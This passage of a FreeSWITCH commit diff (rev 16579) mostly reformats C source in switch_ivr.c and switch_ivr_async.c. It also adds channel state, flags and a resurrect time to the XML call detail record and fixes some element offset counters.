</ins><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1487,7 +1488,7 @@
</span><span class="cx">         switch_time_t last_digit_time;
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t **parser)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t ** parser)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><span class="lines">@@ -1545,7 +1546,7 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t **stream)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t ** stream)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><span class="lines">@@ -1561,7 +1562,7 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t **stream)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t ** stream)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><span class="lines">@@ -1680,8 +1681,8 @@
</span><span class="cx">                         *stream-&gt;digits = '\0';
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         return result;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1816,19 +1817,49 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_caller_profile_t *caller_profile;
</span><span class="cx">         switch_xml_t variables, cdr, x_main_cp, x_caller_profile, x_caller_extension, x_times, time_tag,
</span><del>-                x_application, x_callflow, x_inner_extension, x_apps, x_o;
</del><ins>+                x_application, x_callflow, x_inner_extension, x_apps, x_o, x_channel_data, x_field;
</ins><span class="cx">         switch_app_log_t *app_log;
</span><del>-        char tmp[512];
-        int cdr_off = 0, v_off = 0;
</del><ins>+        char tmp[512], *f;
+        int cdr_off = 0, v_off = 0, cd_off = 0;
</ins><span class="cx"> 
</span><span class="cx">         if (!(cdr = switch_xml_new(&quot;cdr&quot;))) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><ins>+        if (!(x_channel_data = switch_xml_add_child_d(cdr, &quot;channel_data&quot;, cdr_off++))) {
+                goto error;
+        }
+
+        x_field = switch_xml_add_child_d(x_channel_data, &quot;state&quot;, cd_off++);
+        switch_xml_set_txt_d(x_field, switch_channel_state_name(switch_channel_get_state(channel)));
+
+        x_field = switch_xml_add_child_d(x_channel_data, &quot;direction&quot;, cd_off++);
+        switch_xml_set_txt_d(x_field, switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND ? &quot;outbound&quot; : &quot;inbound&quot;);
+
+        x_field = switch_xml_add_child_d(x_channel_data, &quot;state_number&quot;, cd_off++);
+        switch_snprintf(tmp, sizeof(tmp), &quot;%d&quot;, switch_channel_get_state(channel));
+        switch_xml_set_txt_d(x_field, tmp);
+
+        if ((f = switch_channel_get_flag_string(channel))) {
+                x_field = switch_xml_add_child_d(x_channel_data, &quot;flags&quot;, cd_off++);
+                switch_xml_set_txt_d(x_field, f);
+                free(f);
+        }
+
+        if ((f = switch_channel_get_cap_string(channel))) {
+                x_field = switch_xml_add_child_d(x_channel_data, &quot;caps&quot;, cd_off++);
+                switch_xml_set_txt_d(x_field, f);
+                free(f);
+        }
+
+
</ins><span class="cx">         if (!(variables = switch_xml_add_child_d(cdr, &quot;variables&quot;, cdr_off++))) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><span class="cx"> 
</span><ins>+        switch_ivr_set_xml_chan_vars(variables, channel, v_off);
+
+
</ins><span class="cx">         if ((app_log = switch_core_session_get_app_log(session))) {
</span><span class="cx">                 int app_off = 0;
</span><span class="cx">                 switch_app_log_t *ap;
</span><span class="lines">@@ -1847,7 +1878,6 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_ivr_set_xml_chan_vars(variables, channel, v_off);
</del><span class="cx"> 
</span><span class="cx">         caller_profile = switch_channel_get_caller_profile(channel);
</span><span class="cx"> 
</span><span class="lines">@@ -1894,18 +1924,17 @@
</span><span class="cx"> 
</span><span class="cx">                         if (caller_profile-&gt;caller_extension-&gt;children) {
</span><span class="cx">                                 switch_caller_profile_t *cp = NULL;
</span><del>-                                int i_off = 0;
</del><ins>+                                int i_off = 0, i_app_off = 0;
</ins><span class="cx">                                 for (cp = caller_profile-&gt;caller_extension-&gt;children; cp; cp = cp-&gt;next) {
</span><del>-                                        app_off = 0;
</del><span class="cx"> 
</span><span class="cx">                                         if (!cp-&gt;caller_extension) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><del>-                                        if (!(x_inner_extension = switch_xml_add_child_d(x_caller_extension, &quot;sub_extensions&quot;, i_off++))) {
</del><ins>+                                        if (!(x_inner_extension = switch_xml_add_child_d(x_caller_extension, &quot;sub_extensions&quot;, app_off++))) {
</ins><span class="cx">                                                 goto error;
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><del>-                                        if (!(x_caller_extension = switch_xml_add_child_d(x_inner_extension, &quot;extension&quot;, cf_off++))) {
</del><ins>+                                        if (!(x_caller_extension = switch_xml_add_child_d(x_inner_extension, &quot;extension&quot;, i_off++))) {
</ins><span class="cx">                                                 goto error;
</span><span class="cx">                                         }
</span><span class="cx">                                         switch_xml_set_attr_d(x_caller_extension, &quot;name&quot;, cp-&gt;caller_extension-&gt;extension_name);
</span><span class="lines">@@ -1916,7 +1945,7 @@
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         for (ap = cp-&gt;caller_extension-&gt;applications; ap; ap = ap-&gt;next) {
</span><del>-                                                if (!(x_application = switch_xml_add_child_d(x_caller_extension, &quot;application&quot;, app_off++))) {
</del><ins>+                                                if (!(x_application = switch_xml_add_child_d(x_caller_extension, &quot;application&quot;, i_app_off++))) {
</ins><span class="cx">                                                         goto error;
</span><span class="cx">                                                 }
</span><span class="cx">                                                 if (ap == cp-&gt;caller_extension-&gt;current_application) {
</span><span class="lines">@@ -2006,6 +2035,12 @@
</span><span class="cx">                         switch_snprintf(tmp, sizeof(tmp), &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;hungup);
</span><span class="cx">                         switch_xml_set_txt_d(time_tag, tmp);
</span><span class="cx"> 
</span><ins>+                        if (!(time_tag = switch_xml_add_child_d(x_times, &quot;resurrect_time&quot;, t_off++))) {
+                                goto error;
+                        }
+                        switch_snprintf(tmp, sizeof(tmp), &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;resurrected);
+                        switch_xml_set_txt_d(time_tag, tmp);
+
</ins><span class="cx">                         if (!(time_tag = switch_xml_add_child_d(x_times, &quot;transfer_time&quot;, t_off++))) {
</span><span class="cx">                                 goto error;
</span><span class="cx">                         }
</span><span class="lines">@@ -2034,7 +2069,7 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_channel_set_state(channel, CS_PARK);
</span><span class="cx">         switch_channel_set_flag(channel, CF_TRANSFER);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_ivr_delay_echo(switch_core_session_t *session, uint32_t delay_ms)
</span><span class="lines">@@ -2047,8 +2082,8 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         uint32_t interval, samples;
</span><span class="cx">         uint32_t ts = 0;
</span><del>-    switch_codec_implementation_t read_impl = {0};
-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (delay_ms &lt; 1 || delay_ms &gt; 10000) {
</span><span class="lines">@@ -2097,7 +2132,7 @@
</span><span class="cx">         switch_event_t *hint_data;
</span><span class="cx">         switch_xml_t cfg, xml = NULL, language, macros;
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(session);
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel);
</span><span class="lines">@@ -2171,7 +2206,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (hint_data) {
</span><span class="cx">                 switch_event_destroy(&amp;hint_data);
</span><span class="lines">@@ -2184,7 +2219,7 @@
</span><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -2194,18 +2229,18 @@
</span><span class="cx"> 
</span><span class="cx">         if (!buffer) {
</span><span class="cx">                 /*
</span><del>-                  if buffer is null then it just returns the str without the prefix appended, otherwise buffer contains the prefix followed by the original string
-                */
</del><ins>+                   if buffer is null then it just returns the str without the prefix appended, otherwise buffer contains the prefix followed by the original string
+                 */
</ins><span class="cx"> 
</span><span class="cx">                 return str;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         str_len = strlen(str);
</span><span class="cx">         memcpy(buffer, prefix, prefix_size);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (str_len + prefix_size + 1 &gt; buffer_size) {
</span><del>-                memcpy(buffer + prefix_size, str, buffer_size-prefix_size - 1);
-                buffer[buffer_size-prefix_size - 1] = '\0';
</del><ins>+                memcpy(buffer + prefix_size, str, buffer_size - prefix_size - 1);
+                buffer[buffer_size - prefix_size - 1] = '\0';
</ins><span class="cx">         } else {
</span><span class="cx">                 memcpy(buffer + prefix_size, str, str_len + 1);
</span><span class="cx">         }
</span><span class="lines">@@ -2220,16 +2255,16 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><del>-        char * prefix_buffer = NULL, *prefix;
-        size_t buffer_size =0;
-        size_t prefix_size=0;
</del><ins>+        char *prefix_buffer = NULL, *prefix;
+        size_t buffer_size = 0;
+        size_t prefix_size = 0;
</ins><span class="cx">         if (zstr(data)) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         user = switch_core_session_strdup(session, data);
</span><del>-        
-        if ((prefix = strchr(user, ' '))){
</del><ins>+
+        if ((prefix = strchr(user, ' '))) {
</ins><span class="cx">                 *prefix++ = 0;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2289,8 +2324,8 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer,buffer_size,prefix,prefix_size,&quot;user_name&quot;) , user);
-        switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer,buffer_size,prefix,prefix_size,&quot;domain_name&quot;) , domain);
</del><ins>+        switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer, buffer_size, prefix, prefix_size, &quot;user_name&quot;), user);
+        switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer, buffer_size, prefix, prefix_size, &quot;domain_name&quot;), domain);
</ins><span class="cx"> 
</span><span class="cx">         goto done;
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivr_asyncc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr_async.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr_async.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_async.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -83,7 +83,6 @@
</span><span class="cx">         if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef SWITCH_VIDEO_IN_THREADS
</span><span class="cx">         if (switch_channel_test_flag(channel, CF_VIDEO)) {
</span><span class="cx">                 eh.session = session;
</span><span class="lines">@@ -104,7 +103,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if (args &amp;&amp; (args-&gt;input_callback || args-&gt;buf || args-&gt;buflen)) {
</span><span class="cx">                         switch_dtmf_t dtmf;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /*
</span><span class="cx">                            dtmf handler function you can hook up to be executed when a digit is dialed during playback 
</span><span class="cx">                            if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
</span><span class="lines">@@ -122,7 +121,7 @@
</span><span class="cx">                                         status = SWITCH_STATUS_BREAK;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (args-&gt;input_callback) {
</span><span class="cx">                                 switch_event_t *event = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -355,8 +354,8 @@
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         time_t to = 0;
</span><span class="cx">         displace_helper_t *dh;
</span><del>-    switch_codec_implementation_t read_impl = {0};
-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -385,8 +384,7 @@
</span><span class="cx">         if (switch_core_file_open(&amp;dh-&gt;fh,
</span><span class="cx">                                                           file,
</span><span class="cx">                                                           read_impl.number_of_channels,
</span><del>-                                                          read_impl.actual_samples_per_second,
-                                                          SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                          read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                 switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -447,12 +445,12 @@
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_CLOSE:
</span><span class="cx">                 {
</span><del>-                        switch_codec_implementation_t read_impl = {0};
</del><ins>+                        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">                         switch_core_session_get_read_impl(session, &amp;read_impl);
</span><span class="cx"> 
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Stop recording file %s\n&quot;, rh-&gt;file);
</span><span class="cx">                         switch_channel_set_private(channel, rh-&gt;file, NULL);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_event_create(&amp;event, SWITCH_EVENT_RECORD_STOP) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_channel_event_set_data(channel, event);
</span><span class="cx">                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Record-File-Path&quot;, rh-&gt;file);
</span><span class="lines">@@ -463,16 +461,17 @@
</span><span class="cx">                                 switch_size_t len;
</span><span class="cx">                                 uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx">                                 switch_frame_t frame = { 0 };
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 frame.data = data;
</span><span class="cx">                                 frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 while (switch_core_media_bug_read(bug, &amp;frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS &amp;&amp; !switch_test_flag((&amp;frame), SFF_CNG)) {
</span><span class="cx">                                         len = (switch_size_t) frame.datalen / 2;
</span><del>-                                        if (len) switch_core_file_write(rh-&gt;fh, data, &amp;len);
</del><ins>+                                        if (len)
+                                                switch_core_file_write(rh-&gt;fh, data, &amp;len);
</ins><span class="cx">                                 }
</span><del>-                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                                 switch_core_file_close(rh-&gt;fh);
</span><span class="cx">                                 if (rh-&gt;fh-&gt;samples_out &lt; rh-&gt;fh-&gt;samplerate * rh-&gt;min_sec) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Discarding short file %s\n&quot;, rh-&gt;file);
</span><span class="lines">@@ -483,7 +482,7 @@
</span><span class="cx"> 
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_READ:
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (rh-&gt;fh) {
</span><span class="cx">                         switch_size_t len;
</span><span class="cx">                         uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="lines">@@ -491,10 +490,11 @@
</span><span class="cx"> 
</span><span class="cx">                         frame.data = data;
</span><span class="cx">                         frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         while (switch_core_media_bug_read(bug, &amp;frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS &amp;&amp; !switch_test_flag((&amp;frame), SFF_CNG)) {
</span><span class="cx">                                 len = (switch_size_t) frame.datalen / 2;
</span><del>-                                if (len) switch_core_file_write(rh-&gt;fh, data, &amp;len);
</del><ins>+                                if (len)
+                                        switch_core_file_write(rh-&gt;fh, data, &amp;len);
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                 }
</span><span class="lines">@@ -536,7 +536,7 @@
</span><span class="cx">         struct eavesdrop_pvt *ep = (struct eavesdrop_pvt *) user_data;
</span><span class="cx">         uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx">         switch_frame_t frame = { 0 };
</span><del>-        
</del><ins>+
</ins><span class="cx">         frame.data = data;
</span><span class="cx">         frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
</span><span class="cx"> 
</span><span class="lines">@@ -548,7 +548,7 @@
</span><span class="cx">         case SWITCH_ABC_TYPE_WRITE:
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_READ_PING:
</span><del>-                if (ep-&gt;buffer) {                        
</del><ins>+                if (ep-&gt;buffer) {
</ins><span class="cx">                         if (switch_core_media_bug_read(bug, &amp;frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_buffer_lock(ep-&gt;buffer);
</span><span class="cx">                                 switch_buffer_zwrite(ep-&gt;buffer, frame.data, frame.datalen);
</span><span class="lines">@@ -627,9 +627,10 @@
</span><span class="cx">                 uint32_t tlen;
</span><span class="cx">                 const char *macro_name = &quot;eavesdrop_announce&quot;;
</span><span class="cx">                 const char *id_name = NULL;
</span><del>-                switch_codec_implementation_t tread_impl = {0}, read_impl = {0};
</del><ins>+                switch_codec_implementation_t tread_impl = { 0 }, read_impl = {
+                0};
</ins><span class="cx">                 switch_core_session_message_t msg = { 0 };
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!switch_channel_media_ready(channel)) {
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="lines">@@ -665,8 +666,8 @@
</span><span class="cx">                         }
</span><span class="cx">                         /* Separate the group */
</span><span class="cx">                         data = strdup(group_name);
</span><del>-                        if ( (argc = switch_separate_string(data, ',', argv, (sizeof(argv) / sizeof(argv[0])))) ) {
-                                for ( i = 0; i &lt; argc; i++ ) {
</del><ins>+                        if ((argc = switch_separate_string(data, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+                                for (i = 0; i &lt; argc; i++) {
</ins><span class="cx">                                         /* If one of the group matches, then ok */
</span><span class="cx">                                         if (argv[i] &amp;&amp; !strcmp(argv[i], require_group)) {
</span><span class="cx">                                                 ok = 1;
</span><span class="lines">@@ -675,7 +676,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         switch_safe_free(data);
</span><span class="cx">                         /* If we didn't find any match, then end */
</span><del>-                        if ( !ok ) {
</del><ins>+                        if (!ok) {
</ins><span class="cx">                                 status = SWITCH_STATUS_BREAK;
</span><span class="cx">                                 goto end;
</span><span class="cx">                         }
</span><span class="lines">@@ -736,12 +737,12 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                 msg.from = __FILE__;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Tell the channel we are going to be in a bridge */
</span><span class="cx">                 msg.message_id = SWITCH_MESSAGE_INDICATE_BRIDGE;
</span><span class="cx">                 switch_core_session_receive_message(session, &amp;msg);
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 while (switch_channel_ready(tchannel) &amp;&amp; switch_channel_ready(channel)) {
</span><span class="cx">                         uint32_t len = sizeof(buf);
</span><span class="cx">                         switch_event_t *event = NULL;
</span><span class="lines">@@ -805,7 +806,7 @@
</span><span class="cx">                                                         switch_buffer_zero(ep-&gt;r_buffer);
</span><span class="cx">                                                         switch_buffer_unlock(ep-&gt;r_buffer);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (ep-&gt;w_buffer) {
</span><span class="cx">                                                         switch_buffer_lock(ep-&gt;w_buffer);
</span><span class="cx">                                                         switch_buffer_zero(ep-&gt;w_buffer);
</span><span class="lines">@@ -844,7 +845,7 @@
</span><span class="cx"> 
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        end_loop:
</del><ins>+          end_loop:
</ins><span class="cx"> 
</span><span class="cx">                 /* Tell the channel we are no longer going to be in a bridge */
</span><span class="cx">                 msg.message_id = SWITCH_MESSAGE_INDICATE_UNBRIDGE;
</span><span class="lines">@@ -854,7 +855,7 @@
</span><span class="cx"> 
</span><span class="cx">           end:
</span><span class="cx"> 
</span><del>-                if ( codec_initialized )
</del><ins>+                if (codec_initialized)
</ins><span class="cx">                         switch_core_codec_destroy(&amp;codec);
</span><span class="cx"> 
</span><span class="cx">                 if (bug) {
</span><span class="lines">@@ -894,10 +895,10 @@
</span><span class="cx">         time_t to = 0;
</span><span class="cx">         switch_media_bug_flag_t flags = SMBF_READ_STREAM | SMBF_WRITE_STREAM | SMBF_READ_PING;
</span><span class="cx">         uint8_t channels;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         struct record_helper *rh = NULL;
</span><span class="cx">         int file_flags = SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_get_read_impl(session, &amp;read_impl);
</span><span class="cx"> 
</span><span class="cx">         if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -910,7 +911,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         channels = read_impl.number_of_channels;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((bug = switch_channel_get_private(channel, file))) {
</span><span class="cx">                 return switch_ivr_stop_record_session(session, file);
</span><span class="cx">         }
</span><span class="lines">@@ -929,13 +930,13 @@
</span><span class="cx">         if ((p = switch_channel_get_variable(channel, &quot;RECORD_READ_ONLY&quot;)) &amp;&amp; switch_true(p)) {
</span><span class="cx">                 flags &amp;= ~SMBF_WRITE_STREAM;
</span><span class="cx">                 flags |= SMBF_READ_STREAM;
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if ((p = switch_channel_get_variable(channel, &quot;RECORD_STEREO&quot;)) &amp;&amp; switch_true(p)) {
</span><span class="cx">                 flags |= SMBF_STEREO;
</span><span class="cx">                 channels = 2;
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if ((p = switch_channel_get_variable(channel, &quot;RECORD_ANSWER_REQ&quot;)) &amp;&amp; switch_true(p)) {
</span><span class="cx">                 flags |= SMBF_ANSWER_REQ;
</span><span class="cx">         }
</span><span class="lines">@@ -964,7 +965,7 @@
</span><span class="cx">         fh-&gt;pre_buffer_datalen = SWITCH_DEFAULT_FILE_BUFFER_LEN;
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_is_file_path(file)) {
</span><span class="cx">                 char *tfile = NULL;
</span><span class="cx">                 char *e;
</span><span class="lines">@@ -985,15 +986,11 @@
</span><span class="cx">                                 tfile = NULL;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 file = switch_core_session_sprintf(session, &quot;%s%s%s%s%s&quot;, switch_str_nil(tfile), tfile ? &quot;]&quot; : &quot;&quot;, prefix, SWITCH_PATH_SEPARATOR, file);
</span><span class="cx">         }
</span><del>-        
-        if (switch_core_file_open(fh,
-                                                          file,
-                                                          channels,
-                                                          read_impl.actual_samples_per_second,
-                                                          file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+
+        if (switch_core_file_open(fh, file, channels, read_impl.actual_samples_per_second, file_flags, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error opening %s\n&quot;, file);
</span><span class="cx">                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                 switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="lines">@@ -1046,7 +1043,7 @@
</span><span class="cx">         rh-&gt;packet_len = read_impl.decoded_bytes_per_packet;
</span><span class="cx"> 
</span><span class="cx">         rh-&gt;min_sec = 3;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = switch_channel_get_variable(channel, &quot;RECORD_MIN_SEC&quot;))) {
</span><span class="cx">                 int tmp = atoi(p);
</span><span class="cx">                 if (tmp &gt;= 0) {
</span><span class="lines">@@ -1054,7 +1051,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((status = switch_core_media_bug_add(session, record_callback, rh, to, flags, &amp;bug)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Error adding media bug for file %s\n&quot;, file);
</span><span class="cx">                 switch_core_file_close(fh);
</span><span class="lines">@@ -1066,7 +1063,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-typedef struct  {
</del><ins>+typedef struct {
</ins><span class="cx">         SpeexPreprocessState *read_st;
</span><span class="cx">         SpeexPreprocessState *write_st;
</span><span class="cx">         SpeexEchoState *read_ec;
</span><span class="lines">@@ -1085,12 +1082,12 @@
</span><span class="cx">         switch_core_session_t *session = switch_core_media_bug_get_session(bug);
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         pp_cb_t *cb = (pp_cb_t *) user_data;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_frame_t *frame = NULL;
</span><span class="cx">         int y;
</span><span class="cx"> 
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
-        
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
+
</ins><span class="cx">         switch (type) {
</span><span class="cx">         case SWITCH_ABC_TYPE_INIT:
</span><span class="cx">                 {
</span><span class="lines">@@ -1121,17 +1118,18 @@
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_READ_REPLACE:
</span><span class="cx">                 {
</span><del>-                        if (cb-&gt;done) return SWITCH_FALSE;
</del><ins>+                        if (cb-&gt;done)
+                                return SWITCH_FALSE;
</ins><span class="cx">                         frame = switch_core_media_bug_get_read_replace_frame(bug);
</span><span class="cx"> 
</span><span class="cx">                         if (cb-&gt;read_st) {
</span><span class="cx"> 
</span><span class="cx">                                 if (cb-&gt;read_ec) {
